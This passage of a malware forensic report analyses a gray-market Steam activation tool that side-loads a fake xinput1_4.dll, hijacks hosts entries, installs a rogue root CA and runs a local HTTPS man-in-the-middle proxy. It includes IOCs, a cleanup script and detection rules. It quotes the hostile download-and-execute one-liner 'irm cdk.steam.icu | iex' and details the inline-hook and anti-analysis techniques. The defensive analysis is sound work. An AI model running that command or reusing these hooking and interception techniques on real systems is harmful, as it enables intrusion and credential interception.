§9.3 confirmed that the disk IAT contains only 11 slots, and §9.5 confirmed that these 11 slots have 0 static call sites—meaning real Windows API calls must go through another mechanism. The unpacked image reveals this mechanism:
Name table @ 0x54e4d0 + Pointer table @ 0x54f768: DLL name strings and API name strings exist in pairs in .rdata, indexed by a 275-entry qword pointer table (with NULL as DLL boundary separator). Each qword points to a standard PE IMAGE_IMPORT_BY_NAME structure (2-byte Hint + name + null).
Resolved function pointer table @ 0x328000: One-to-one correspondence with the name table, totaling 258 qword slots; the TLS callback, during DLL loading, calls LoadLibraryExW + GetProcAddress by name/ordinal to fill in the runtime address of each Windows API (user-mode DLL address space like 0x7ffc_xxxxxxxx). The unpacked image captures a snapshot of this table after filling.
Complete distribution grouped by DLL:
| DLL | API Count | Key API Excerpts |
|---|---|---|
| kernel32.dll | 196 | OpenThread / SuspendThread / ResumeThread / GetThreadContext / SetThreadContext / VirtualProtect / FlushInstructionCache / Thread32First / Thread32Next / CreateToolhelp32Snapshot / K32EnumProcessModules / ReadProcessMemory / IsBadReadPtr / VirtualQueryEx / LoadLibraryExW / GetProcAddress / MessageBoxA ... |
| user32.dll | 2 | MessageBoxA, GetForegroundWindow |
| advapi32.dll | 12 | RegOpenKeyExA / RegQueryValueExA / RegCloseKey (read Steam registry); OpenProcessToken / GetTokenInformation (privilege check); CryptAcquireContextA / CryptCreateHash / CryptHashData / CryptGetHashParam / CryptDestroyHash (integrity hash—used for CMsgGatewayHookRequest.kernel_size/steam_client_size fields); GetUserNameA |
| shell32.dll | 4 | ShellExecuteA / ShellExecuteExA / SHGetSpecialFolderPathA / SHGetKnownFolderPath |
| ole32.dll | 1 | CoTaskMemFree |
| bcrypt.dll | 1 | BCryptGenRandom |
| winhttp.dll | 13 | Complete WinHTTP client: WinHttpOpen / Connect / OpenRequest / SendRequest / ReceiveResponse / AddRequestHeaders / QueryHeaders / QueryDataAvailable / ReadData / CrackUrl / CloseHandle / SetOption / SetTimeouts |
| ws2_32.dll | 18 | All imported by ordinal (no strings): socket(#116) / bind(#2) / listen(#13) / accept(#1) / connect(#3) / send(#19) / recv(#16) / sendto(#20) / recvfrom(#17) / closesocket(#9) / setsockopt(#21) / WSAStartup(#111) / WSACleanup(#10) / WSAGetLastError(#115) / htons(#23) / ntohs(#15) + inet_pton / inet_ntop (these two by name) |
| crypt32.dll | 8 | CertOpenStore / CertCloseStore / CryptStringToBinaryA / CertCreateCertificateContext / CertFindCertificateInStore / CertFreeCertificateContext / CertAddCertificateContextToStore / CertSetCertificateContextProperty |
| dnsapi.dll | 2 | DnsFree / DnsQuery_W |
| dbghelp.dll | 1 | SymFromAddr (PDB symbol resolution) |
Total 258 APIs, compared to 11 in the static IAT—hidden import amplification ratio of 23×.
The following combination of functions in kernel32 is particularly critical:
OpenThread → SuspendThread → GetThreadContext → VirtualProtect →
ReadProcessMemory → modify bytes → FlushInstructionCache →
SetThreadContext → ResumeThread
This sequence is the standard manual inline hook installation sequence—paired with dbghelp.SymFromAddr (locating target functions by PDB symbol) and K32EnumProcessModules / Thread32First/Next / CreateToolhelp32Snapshot (enumerating Steam modules and threads), it forms a complete hook installation pipeline:
1. CreateToolhelp32Snapshot + Thread32First/Next → enumerate all threads of Steam
2. OpenThread + SuspendThread → suspend target threads (to avoid executing bytes being patched)
3. K32EnumProcessModules + GetModuleHandleW → locate module base addresses of steamclient64.dll / steamui.dll / tier0_s64.dll
4. SymFromAddr → locate runtime address of each hook target by PDB symbol name
5. VirtualProtect(PAGE_EXECUTE_READWRITE) → remove write protection on target page
6. ReadProcessMemory + modify bytes → install jmp trampoline to hook handler
7. FlushInstructionCache → make CPU see new code
8. ResumeThread → wake thread
The call site of SymFromAddr appears only once in the entire file (rva 0x2b595)—implementing "look up symbol name by address" via SymFromAddr(hProcess, address, &disp, &SymbolInfo)—locating Steam internal functions to specific addresses using PDB information. This is the precise mechanism described in §9.3: "this sample works across multiple Steam client versions." After a Steam update, function addresses change, but PDB symbol names remain stable; the hook installation code can re-locate via SymFromAddr to adapt.
Importing ws2_32 entirely by ordinal without leaving API name strings is another anti-static-analysis detail—searching for "socket" / "bind" / "accept" keywords with grep would yield 0 results, as these API names never appear as strings in the binary. Their names can only be inferred after locating the ordinal table starting at 0x54ff30.
12.13 MITM Proxy on Port 8443: bind / listen / accept / connect Concentrated in the Same Function
The 18 ws2_32 APIs are all called within a concentrated range of a few hundred bytes at rva 0x20200–0x20800—a compact socket service function body:
[loop top] @ 0x203b0 ; for each entry in server_profile_table (§12.4's 6 slots):
sockaddr_in zero
sin_family = AF_INET (= 2)
htons(port) ; port read from config structure offset +4
@ 0x203d6: call bind
@ 0x203fe: call listen
@ 0x2043a: call accept ; block waiting for connection
@ 0x20449: call recv ; read bytes from client
... process ...
@ 0x20563: call connect ; ★ accept and connect coexist in the same function ★
... upstream ...
@ 0x207ae: call recv ; read upstream response
@ 0x2030b: call send ; write response back to client
The coexistence of bind / listen / accept and connect in the same function is a hallmark structure of an MITM proxy: it accepts client connections on a local port and simultaneously actively connects to an upstream (real or forged remote), performing splicing and tampering in between. This structure, combined with the leaf certificate + matching private key from §12.3 (used to terminate the client's TLS handshake on port 8443), the 6-slot SNI server profile table from §12.4 (determining which domain the client connects to), and the root CA installed in §12.5 (making the client trust the leaf certificate)—the complete code path of the local fake HTTPS backend is now mapped to specific RVAs.
The port number 8443 (= 0x20fb) does not directly appear at the bind call site but is passed through the server config structure:
@ 0x1eb80: ServerConfig constructor
...
@ 0x1ebbc: mov byte ptr [rcx], 0
@ 0x1ebbf: mov qword ptr [rcx + 4], 0x20fb ; config.listen_port = 8443
@ 0x1ec05: mov word ptr [rax + 0x18], 0x101 ; another status field
@ 0x1ebf0: mov ecx, 0x390 ; allocate 0x390 byte object
@ 0x1ebf5: call sub_2d4e10 ; internal allocator
...
When calling bind, sin_port = htons(config.listen_port)—8443 is routed through the config field to the socket. The port is stored as a configurable field, indicating the author reserved the ability to "change the port" (if 8443 collides with Steam's built-in port and a conflict check hits, modifying the config would allow it to continue running).
12.14 Remaining Blind Spots in Static Analysis
This section has exhausted all conclusions obtainable through static means from the unpacked image. The following issues cannot be further advanced at the static level:
| Unresolved Issue | Static Analysis Boundary | Recommended Dynamic Analysis Approach |
|---|---|---|
| Specific timing of TLS callback writing API addresses to the 0x328000 table | §12.10, §12.12—wrapped in VMProtect mutation | Conditional breakpoints at LoadLibraryExW / GetProcAddress entry; record resolution sequence by call hash |
| Which specific Steam functions are actually hooked (by PDB symbol name) | Unique call site of SymFromAddr (rva 0x2b595) surrounded by mutation noise; PSYMBOL_INFO.Name cannot be read statically | Breakpoint at SymFromAddr return; dump pSymbol->Name; also monitor VirtualProtect(PAGE_EXECUTE_READWRITE) hits to locate patched target addresses |
Algorithm, key derivation, and IV strategy of CMsgEncrypt application-layer encryption | AES implementation code and key negotiation code likely in on-demand decryption area | Monitor BCryptGenRandom (generate random numbers) + CryptHashData (key derivation) + CertGetCertificateContextProperty (retrieve private key) call sequences; compare plaintext/ciphertext with socket capture on port 8443 |
When the 8443 server processes CMsgGet*Request, does it construct a response locally or forward to upstream C2? | Protocol field definitions obtained in §12.11, but dispatch function (determine forward/local) lies in on-demand decryption area | Set up an interception proxy (mitmproxy) on port 8443; simultaneously monitor outbound calls to WinHttpSendRequest in stage-2; observe if requests appear synchronously on both links |
| Actual carrier position and flow path of the CDK activation code (user-input string) in the protocol | CMsgCdkActiveRequest only contains steam_id / timestamp; no activation code field; activation code may be carried in another undiscovered message, HTTP form post, or stage-0 PowerShell script | Reverse-engineer the cdk.steam.icu/iex script; simultaneously monitor specific payloads of WinHttpAddRequestHeaders / send calls in stage-2 |
Coordination method between forged depot_key and local depot files (encryption scheme of depot files themselves) | This tool does not carry depot files—file distribution channel is outside sample scope | Obtain a complete "activated" environment; compare differences between steamapps\depotcache*.manifest and legitimate manifest; reverse engineer author's pre-encryption process |
| Real upstream deployment behind the 6 codefusion/antitamper C2 domains | hosts all hijacked to 127.0.0.1; cannot probe real IP via DNS/TLS | Temporarily restore hosts in isolated environment to let sample communicate with real C2; capture handshake target IP and certificate chain |
12.15 Engineering Scripts Produced in this Section
re/34_extract_certs.py §12.3 grab PEM/PEM private key → DER
re/35_cert_xrefs.py §12.4 locate LEA + QWORD references to cert PEM/API names
re/36_disasm_cert_install.py §12.5 disassemble sub_23200 / sub_293d0 area
re/37_callgraph.py §12.10 direct call graph (confirms sub_293d0 has 0 callers)
re/38_disasm_loadLib_and_orch.py §12.9 disassemble loadLib + complete orchestrator
re/39_disasm_worker.py §12.9 confirm sub_2ec20c = _beginthreadex
re/40_steamworks_hook_xrefs.py §12.11 locate steam_server.proto schema
re/41_iat_callsites.py §12.12 verify 11 disk IAT slots have 0 call sites
re/42_indirect_callsites.py §12.12 scan all FF15/FF25 indirect calls, locate 0x328000 resolution table
re/43_api_resolution_table.py §12.12 parse 275 entry name ptr table → restore 258 APIs + DLL boundaries
re/44_disasm_tls.py §12.10 disassemble TLS callback, confirm VMP mutation
re/45_disasm_8443_server.py §12.13 disassemble bind/listen/accept/connect proxy function body
The unpacking analysis methodology can be summarized as: "Static encryption → dynamic unpacking → use unpacked image to reverse-close every system-side evidence → static analysis ends at VMP mutation boundary." This process is generally applicable to VMProtect-family samples.
13. Trigger Factor Attribution: Why "Party Animals" Stably Reproduces
First, define the scope: This tool is not custom-developed for "Party Animals;" it is a general-purpose "Steam CDK activation / library import" tool—any game that goes through the Steamworks ticket + Manifest + Depot Key + Denuvo/Codefusion anti-tamper flow is within its supported range. In this case, "Party Animals" stably triggers the anomaly because the game's anti-tamper handshake occurs frequently early in Steam startup, making resource leaks statistically most quickly observable. Any other game with Denuvo/Codefusion anti-tamper can reproduce the same chain.
Based on this, the initial anomalous phenomenon—why a single game triggered it—can be answered:
Steam startup → stage-2 already resident in Steam process
"Party Animals" starts → triggers Steam's Steamworks/ticket/Manifest/anti-tamper flow
stage-2 takes over the traffic
Fake server on port 8443 processes accept at high frequency → thread storm
Game exits → stage-2 does not properly clean up local services/connections
Steam process retains all unreleased worker threads → resource usage stays high
Only after restarting Steam process can it be recovered
This phenomenon is not a Steam fault triggered by "Party Animals" itself; rather, the game activated the implanted fake anti-tamper chain, and the thread storm is a side effect of the chain failing to properly release resources when the game exits.
14. Intrusion Entry Analysis: One-line Download and Execute with irm cdk.steam.icu | iex
The intrusion entry was traced back by the victim who actively provided the "activation tutorial"—a single PowerShell command:
irm cdk.steam.icu|iex
irm is Invoke-RestMethod, which downloads a script from the specified domain; iex is Invoke-Expression, which immediately executes the downloaded content in the current shell. Under this mode, the user cannot preview the remote script content in advance.
Based on the system-side landing state, the remote script at least performed the following operations:
Write xinput1_4.dll to F:\steam\ (stage-1)
Write localData.vdf to %LOCALAPPDATA%\Steam\ (XOR 0xFF packed stage-2)
Append 127.0.0.1 mappings for 6 codefusion/antitamper domains to hosts
Install DCS Root CA G2 into the system root certificate store (LocalMachine\Root)
Then guide the user to enter an "activation code" in Steam
— in reality, interacting with stage-2's fake CDK Active flow (§12.11 CMsgCdkActiveRequest)
The reason the old Steam continued to be anomalous was that the above files and system configurations had already been implanted; the newly installed F:\teststeam did not involve any of the above files or configurations, so it ran normally.
15. Tool Characterization and Threat Rating
This section provides qualitative conclusions based on the preceding analysis regarding two common questions.
Question 1: Does this sample belong to a traditional virus?
No. This sample does not possess the traditional viral characteristics of self-replication and lateral propagation, but it does have a complete and clear set of malicious/gray-market component features:
- DLL side-loading via the disguised name
xinput1_4.dll; - stage-2 hidden in
localData.vdfwith simple XOR 0xFF packing; - Manual PE mapping in MemoryModule style inside the Steam process, calling the exported function
loadLib; - Modifies the
hostsfile; - Installs a self-signed Root CA into the system trusted root store;
- Uses
cmd /c netsh,powershell -WindowStyle Hidden,Start-Process -Verb RunAsfor stealthy execution and privilege escalation; - Creates local HTTPS port forwarding (443 → 8443);
- Hooks and performs protocol-level forgery of Steam authentication flows and Denuvo/Codefusion anti-tamper communications.
Question 2: Is this sample merely a "Steam library import script" used to bypass Denuvo encryption?
Partially correct. The qualitative conclusion based on the complete behavioral surface:
- Essence: A local fake service / MITM chain targeting Steam + Denuvo/Codefusion;
- Purpose: Intercept and forge critical authentication nodes such as Denuvo/Anti-Tamper verification, Steamworks tickets, Depot Keys, Manifest authentication, and CDK activation;
- Distribution Packaging: Sold to end users via gray-market channels in forms such as "activation codes / Steam library import / online version."
Supplementary Threat Rating: Is there a risk of account theft?
The sample already possesses transparent interception capability over local HTTPS traffic; in theory, it can intercept any plaintext passing through 127.0.0.1:443. With the DCS Root CA G2 self-signed root certificate, it can also sign fake leaf certificates for any domain. Even if the sample's main purpose is not credential theft, its technical capabilities already cover scenarios such as password interception, Steam traffic modification, and game session injection. Treating it as malware aligns with general security practice standards.
16. Analysis Limitations and Unresolved Issues
16.1 Conclusion Boundary of Static Analysis Capability
This report is based on static analysis of the unpacked stage-2 image (stage2_unpacked.bin, SHA256 8911004D…). Although this image has bypassed VMProtect's outer encryption, there are still two fundamental invisible areas:
- VMProtect mutation layer: At the entry of TLS callback
sub_565de0, it immediately jumps into a large block of mutation-processed instruction flow within the encrypted area (typical form:pushfq / dummy-math / popfq+ stack position swap +call $+5; add [rsp], -X-style calculated jumps, with 5–10x instruction inflation). This layer exists in plaintext byte form in the unpacked image and can be disassembled line by line, but the semantics are scattered to a degree that cannot be statically recovered. - On-demand decryption code segment: The unpacked image captures a memory snapshot at the moment when
loadLibis called, the worker thread is spawned, and the TLS callback has finished running. Deeper functions of this tool, such as hook handlers and protocol state machines, are only decrypted when first triggered—code paths not triggered at the time of dumping still appear as ciphertext/noise. The 70 bytes around the unique call site ofSymFromAddr(byte stream like73 cb 6d 75 8e 1d 95 42 5e 78 46 1e 7d 05 df 70) belong to this category.
This section explicitly lists several key issues for which solely static analysis cannot provide definitive conclusions, serving as a relay list for subsequent dynamic analysis.
16.2 Unresolved Issues List
The following table enumerates all specific issues not closed at the static level in this analysis, along with "boundary conditions" and "proposed dynamic analysis solutions:"
| # | Unresolved Issue | Static Analysis Boundary Condition | Recommended Dynamic Analysis Approach |
|---|---|---|---|
| 1 | The specific sequence in which the TLS callback executor fills the 258 real API addresses into the 0x328000 function pointer table | §12.10 / §12.12: completely wrapped by VMProtect mutation | Set conditional breakpoints at the entry of LoadLibraryExW / GetProcAddress; record resolution sequence by call hash |
| 2 | Which specific Steam functions are actually hooked (by PDB symbol name) | Unique call site of SymFromAddr (rva 0x2b595) surrounded by mutation noise; PSYMBOL_INFO.Name cannot be read statically | Breakpoint at return of SymFromAddr call; dump pSymbol->Name; also monitor VirtualProtect(PAGE_EXECUTE_READWRITE) hits to locate patched target addresses |
| 3 | Algorithm, key derivation, and IV strategy of CMsgEncrypt application-layer encryption | AES implementation code and key negotiation code likely in on-demand decryption area | Monitor BCryptGenRandom (generate random numbers) + CryptHashData (key derivation) + CertGetCertificateContextProperty (retrieve private key) call sequences; compare plaintext/ciphertext with socket capture on port 8443 |
| 4 | When the 8443 server processes CMsgGet*Request, does it construct a response locally or forward to upstream C2? | Protocol field definitions obtained in §12.11, but dispatch function (determine forward/local) lies in on-demand decryption area | Set up an interception proxy (mitmproxy) on port 8443; simultaneously monitor outbound calls to WinHttpSendRequest in stage-2; observe if requests appear synchronously on both links |
| 5 | Actual carrier position and flow path of the CDK activation code (user-input string) in the protocol | CMsgCdkActiveRequest only contains steam_id / timestamp; no activation code field; activation code may be carried in another undiscovered message, HTTP form post, or stage-0 PowerShell script | Reverse-engineer the cdk.steam.icu/iex script; simultaneously monitor specific payloads of WinHttpAddRequestHeaders / send calls in stage-2 |
| 6 | Coordination method between forged depot_key and local depot files (encryption scheme of depot files themselves) | This tool does not carry depot files—file distribution channel is outside sample scope | Obtain a complete "activated" environment; compare differences between steamapps\depotcache*.manifest and legitimate manifest; reverse engineer author's pre-encryption process |
| 7 | Real upstream deployment behind the 6 codefusion/antitamper C2 domains | hosts all hijacked to 127.0.0.1; cannot probe real IP via DNS/TLS | Temporarily restore hosts in isolated environment to let sample communicate with real C2; capture handshake target IP and certificate chain |
16.3 Capabilities Identified but Not Observed in Use
The following capabilities are clearly present in the unpacked image (APIs resolved into 0x328000 table, strings landed), but the current analysis has not observed corresponding specific usage code paths—neither confirming current use nor ruling it out:
| Capability | Evidence | Risk Surface |
|---|---|---|
| Arbitrary child process spawning | kernel32.CreateProcessA (within 258-entry resolution table) + shell32.ShellExecuteA / ShellExecuteExA | Once enabled, arbitrary commands can be executed in the context of the Steam process |
| Arbitrary DLL runtime loading | LoadLibraryExW already resolved; MemoryModule-style manual PE mapper already implemented in stage-1 and reusable | Tool can pull and load additional payloads from remote without updating local files |
| Arbitrary HTTP outbound | 13 WinHttp* APIs all resolved; fields like force_proxy / use_https in CCloud_ClientFileDownload_Request hint at file download scenarios | Combined with (1), can download and execute arbitrary external code |
| Process enumeration and thread manipulation | CreateToolhelp32Snapshot / Thread32First/Next / OpenThread / SuspendThread / SetThreadContext | Currently used for hook installation within Steam process; technically can also inject into other user-mode processes |
| Filesystem traversal | FindFirstFileW / FindNextFileW / FindClose + GetFileAttributesExW | Current purpose unknown, but has complete API set for traversing user directories |
Conclusion: The "statically observable behavior" of this tool is limited to the Steam game activation forgery scenario; but its "runtime capability surface" at the API resolution level far exceeds what is needed for that purpose. This means the C2 end only needs to push a small amount of logic (without landing new files) to activate any of the above capabilities.
16.4 Conclusion Confidence Annotation
To facilitate future readers referencing the specific conclusions of this report, the following items are classified by confidence level:
- High Confidence: All fingerprints/hashes (certificate SHA256, file SHA256, PDB path, referenced domains), and all structural conclusions (stage-1 load chain, stage-2 section layout, key pair matching of embedded certificates, protobuf schema field names).
- Medium Confidence: Some function semantic annotations (e.g.,
sub_293d0 = orchestration function,sub_2cb80 = loadLib_export,sub_2ec20c = _beginthreadex)—based on disassembly + call relationship inference, not dynamically verified. - Lower Confidence: The precise ordinal-to-slot mapping of the ws2_32 part in the 258 API resolution table—§12.13 showed an instance like
mov ecx, 0x35; call ntohs(?)where the parameter and target API were inconsistent, suggesting the actual runtime filling order may have an offset of ± a few slots relative to the inference in this report. Structural conclusions ("this function is the 8443 server") are unaffected, but annotations at the precision level of "which ordinal corresponds to which API" should rely on dynamic verification.
17. Cleanup Script
# Isolate samples (first rename rather than delete for later review; delete after stable operation for several days)
Rename-Item "F:\steam\xinput1_4.dll" "xinput1_4.dll.suspect" -ErrorAction SilentlyContinue
Rename-Item "$env:LOCALAPPDATA\Steam\localData.vdf" "localData.vdf.suspect" -ErrorAction SilentlyContinue
# Clear portproxy rules
Remove-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp' `
-Name '127.0.0.1/443' -ErrorAction SilentlyContinue
net stop iphlpsvc
net start iphlpsvc
netsh interface portproxy show all # Expected output is empty
# Remove malicious entries from hosts
# Manually edit C:\Windows\System32\drivers\etc\hosts with administrator privileges
# Delete the line "# Network optimization configuration" and the following 6 lines with srv0X.* entries
# Delete fake root certificate
Get-ChildItem Cert:\LocalMachine\Root,Cert:\CurrentUser\Root |
Where-Object { $_.Thumbprint -eq '2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F' } |
Remove-Item
# Verify cleanup
netsh interface portproxy show all
Get-Content "C:\Windows\System32\drivers\etc\hosts" |
Select-String 'codefusion|antitamper|Network optimization'
Get-ChildItem Cert:\LocalMachine\Root,Cert:\CurrentUser\Root |
Where-Object { $_.Thumbprint -eq '2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F' }
Get-ChildItem F:\steam -Filter xinput1_4.dll
After cleanup, the affected host's Steam will no longer create the 443 → 8443 portproxy rule, and launching "Party Animals" will no longer trigger high Steam resource usage—problem closed.
18. IOC Quick Reference
Files:
F:\steam\xinput1_4.dll
SHA256: 631C8757165C9BACE8D6CFE019425ED5AC97319CF2D8FD2B07A8E32025711FB4
Signer: Shanxi Rongshengyuan Technology Trade Co., Ltd. (Verokey EV)
%LOCALAPPDATA%\Steam\localData.vdf
SHA256: 81F04831573AB983E7F4D7A64B375D0C66C6C282FFEFA00EA105F433CC8AC6A8
localData.vdf XOR 0xFF decoded (hid.dll, exports loadLib, VMP packed)
SHA256: D9ADF672F5A4405B0C113C9EEC653653FB0D8152875FCEB85BA30D2350F79C85
localData.vdf decoded + dynamically unpacked complete PE image (including original strings/certificates/private key)
SHA256: 8911004DF9FA21350E085CBCAEFAA1A18E2E0DADFEDDF2E22E76EC55E4CEFCEC
Size: 8,560,640 bytes
Certificates (embedded in unpacked image):
Root CA (trusted root, installed in local system)
CN=DCS Root CA G2, O=Digital Certificate Services, C=US
Thumbprint (SHA1): 2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F
DER SHA256: 77FD7C44B8973F12D145D02BCF91FE03C85F93FA9B72988CE70E8D7F16F35B35
Validity: 2025-11-14 ~ 2035-11-12
Fake server leaf certificate (multi-SNI reuse)
CN=srv01.codefusion.technology, O=CodeFusion Technology LLC, C=US
Issuer: CN=DCS Root CA G2
DER SHA256: 19B7FC43963DD116AC8CA280CA0DCDDD758D414D313F2EEA5D2630B68A40CA79
Validity: 2025-11-13 ~ 2035-11-11
Accompanying RSA 2048 private key (pubkey MD5 matches leaf certificate: 928e386311c6148e727c543ce099c875)
Domains (pointed to 127.0.0.1 in hosts):
srv01.codefusion.technology / srv02.* / srv03.*
srv01.antitamper.net / srv02.* / srv03.*
Ports:
127.0.0.1:443 → 127.0.0.1:8443 (Steam.exe)
Intrusion Entry:
irm cdk.steam.icu | iex
Process Chain:
Steam.exe → cmd.exe /c → netsh interface portproxy add v4tov4 ...
19. Reusable Methodology Summary
Several reusable methodological principles were verified during this forensic process:
- Eliminate "soft" hypotheses first, then collect hard evidence. Before collecting process memory dumps, rule out suspect subsystems like Steam Overlay / Shader pre-cache / Input / Recording one by one to verify their exclusion, thereby shifting the analysis direction from "Steam client defect" to "Steam process anomaly."
- Process memory dumps are a key inflection point. Task Manager only provides shallow indicators like "high CPU, large memory, many threads"; minidump analysis can locate "where the high usage is, what the memory region attributes are, and which threads created what." Observing large anonymous
PAGE_EXECUTE_READWRITEmemory along with a socket accept storm is sufficient to conclude that the Steam process has been injected. - Network layer invisible, port layer visible.
Get-NetTCPConnection+netsh interface portproxy show allare two key checkpoints for investigating local MITM chains on Windows platforms. - portproxy is deleted and immediately rebuilt—the value of this signal is higher than "directly observing portproxy" because it indicates the presence of an active persistence process.
- Procmon's parent-child process chain capture takes priority over capturing all events. By specifying
Operation = Process Create+ time window + PID Include filter, theSteam.exe → cmd.exe → netsh.exechain can be observed within tens of seconds. - Clean environment control experiments are a low-cost, high-speed retesting method. Installing a fresh
F:\teststeamfor differential comparison is much faster than "disable one by one + retest individually" and can directly narrow the contamination scope to differences in the old directory. - Compare-Object for difference sets directly located
xinput1_4.dll, and subsequent "rename files one by one and retest" performed a binary search convergence. - Static string scanning + entry/export checking is highly effective for identifying "disguised system DLLs"—a PE named
xinput1_4.dllbut exporting no XInput functions is sufficient to open a case. - Packed stage-2 materializes in memory. When the
.textsection entropy is 7.93, static scanning cannot identify keywords likenetsh,portproxy,8443, but these strings are all decoded in the runtime dump—this phenomenon proves the value of "capturing the dump before intervention." - The triple set of hosts + Root CA + portproxy is an unavoidable triangle for local HTTPS man-in-the-middle—all three are indispensable; observing any one should prompt checking for the other two.
20. Conclusions and Outlook
20.1 Conclusions
The victim executed the "activation script" irm cdk.steam.icu | iex, which planted a DLL side-loading loader disguised as xinput1_4.dll in the Steam installation directory. This loader hid stage-2 in %LOCALAPPDATA%\Steam\localData.vdf using XOR 0xFF, manually mapped it as hid.dll at runtime, and hosted it inside the Steam process. Through hosts → 127.0.0.1 + portproxy 443 → 8443 + the self-signed DCS Root CA G2, it constructed a local transparent HTTPS man-in-the-middle stack dedicated to forging and intercepting Steam Steamworks and Denuvo/Codefusion anti-tamper communications. "Party Animals" was merely a stable trigger for this flow; the high Steam resource usage was a side effect of unreleased threads on the local fake service chain.
Treat as a malicious / gray-market component.
This report has closed the following points at the static level:
- Complete load chain:
irm cdk.steam.icu | iex(stage-0) →xinput1_4.dll(stage-1 loader, XOR 0xFF decode + manual PE mapping) →localData.vdf(stage-2 image, VMProtect 3.x packed); - Local MITM stack triple: hosts modification +
LocalMachine\Rootinstallation ofDCS Root CA G2+netsh portproxy 443→8443, each indispensable, each corresponding to specific functions in the code; - Protocol-level forgery targets: inline hooks implemented via
dbghelp.SymFromAddron Steamworks internal authentication functions such asGetDepotKey / GetTicket / ManifestAuth / GetEncryptTicket, paired withsteam_server.protomessagesCMsgGetDepotKey* / CMsgGetTicket* / CMsgGetManifest* / CMsgCdkActiveRequest; - C2 topology: 6 codefusion/antitamper domains hijacked to the in-process fake server at 127.0.0.1:8443, which then forwards on-demand to the upstream real C2 (
cdk.steam.icuand several domains embedded in stage-2); - Threat capability surface: The 258 API call surface resolved in the unpacked image (including
CreateProcessA / LoadLibraryExW / WinHttp* / Thread32* / VirtualProtect) far exceeds the actual needs of the Steam library import forgery scenario, constituting a remote control infrastructure that the author can later push arbitrary payloads to.
20.2 Limitations
As described in §16, the conclusions of this report are based on static analysis of the unpacked image and have two types of systematic blind spots:
- VMProtect mutation layer: The TLS callback entry and critical functions of stage-2 are wrapped in mutation-processed instruction flow, whose semantics cannot be recovered at the static level;
- On-demand decryption code segments: The unpacked image only captures a memory snapshot at the moment
loadLibis called and the worker thread is spawned; code paths not triggered at the time of dumping remain as ciphertext/noise—including the key derivation for application-layer encryption, the dispatch logic of the 8443 server, and the actual flow path of the CDK activation code.
Readers referencing the conclusions of this report should distinguish structural conclusions (high confidence) from precise details (medium to lower confidence)—specific confidence annotations are in §16.4.
20.3 Outlook: Suggested Follow-up Work Directions
Using the unresolved issues list in §16.2 as a blueprint, the following three paths can be pursued:
Path A: Close stage-2 behavioral surface through dynamic analysis
- Run the infected Steam in an isolated VM, attach to the Steam process using
x64dbg+ ScyllaHide; - Set conditional breakpoints on critical APIs such as
LoadLibraryExW / GetProcAddress / SymFromAddr / BCryptGenRandom / VirtualProtect / WinHttpSendRequest; - Consecutively resolve issues 1 (filling order), 2 (hook target PDB symbols), 3 (
CMsgEncryptalgorithm), 4 (8443 server forward strategy) from the §16.2 table; - Optional toolchain: Frida + InlineHook, non-intrusively collect API call flow and protocol frames synchronously.
Path B: Protocol replay and upstream C2 mapping
- Temporarily restore hosts in an isolated environment, allowing the sample to communicate directly with the real C2; capture the real IP and certificate chain behind the 6 codefusion/antitamper domains;
- Reverse-engineer the
cdk.steam.icu/iexscript to confirm the carrier channel of the CDK activation code (HTTP form / custom message / embedded PowerShell configuration); - Replay protocol frames to observe whether the fake server constructs responses locally or forwards upstream, thereby determining whether the C2 end holds a complete "activated account/depot key" database.
Path C: Distribution chain tracing and gray-market ecosystem profiling
- Trace the registration, CDN, and upstream servers of the
cdk.steam.icudomain; - Collect IOCs from sales pages for "activation codes / Steam library import / online version" (domains, customer service contact methods, payment channels) to assess the scale of the entire gray-market ecosystem;
- Compare characteristic features with other publicly known Steam library import tool samples to determine if this sample belongs to a known family (such as the tool collection under the
DCS / Codefusionnamespace).
20.4 Practical Defense Recommendations
For enterprise EDR/SOC teams, the immediately deployable detection rules given in this report include:
- Abnormal Steam client process chain: The process chain
Steam.exe → cmd.exe → netsh.exe interface portproxy addshould be treated as a high-priority alert; - Abnormal local portproxy: The presence of a mapping like
127.0.0.1:443 → 127.0.0.1:8443innetsh interface portproxy show all, evaluated in conjunction with theiphlpsvcservice state; - Suspicious root certificate: Any certificate under
LocalMachine\Rootwith thumbprint2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F, or any certificate with Subject containingDCS Root CA G2; - Suspicious file in Steam directory:
<Steam root directory>\xinput1_4.dllexists but lacks XInput export symbols;%LOCALAPPDATA%\Steam\localData.vdfexists and has size about 2.4 MB (Steam official does not distribute a file with that name in that path); - Abnormal hosts entries:
hostsfile contains entries likesrv0X.codefusion.* / srv0X.antitamper.*pointing to127.0.0.1.
Best practice for end users: One should always refuse any "activation script" that requires executing a one-liner like irm | iex / iwr | iex / curl | sh—such commands download arbitrary remote code and execute it with the current user's privileges, and are one of the primary initial access vectors for Windows and macOS users. Steam official activation procedures never require running a PowerShell script.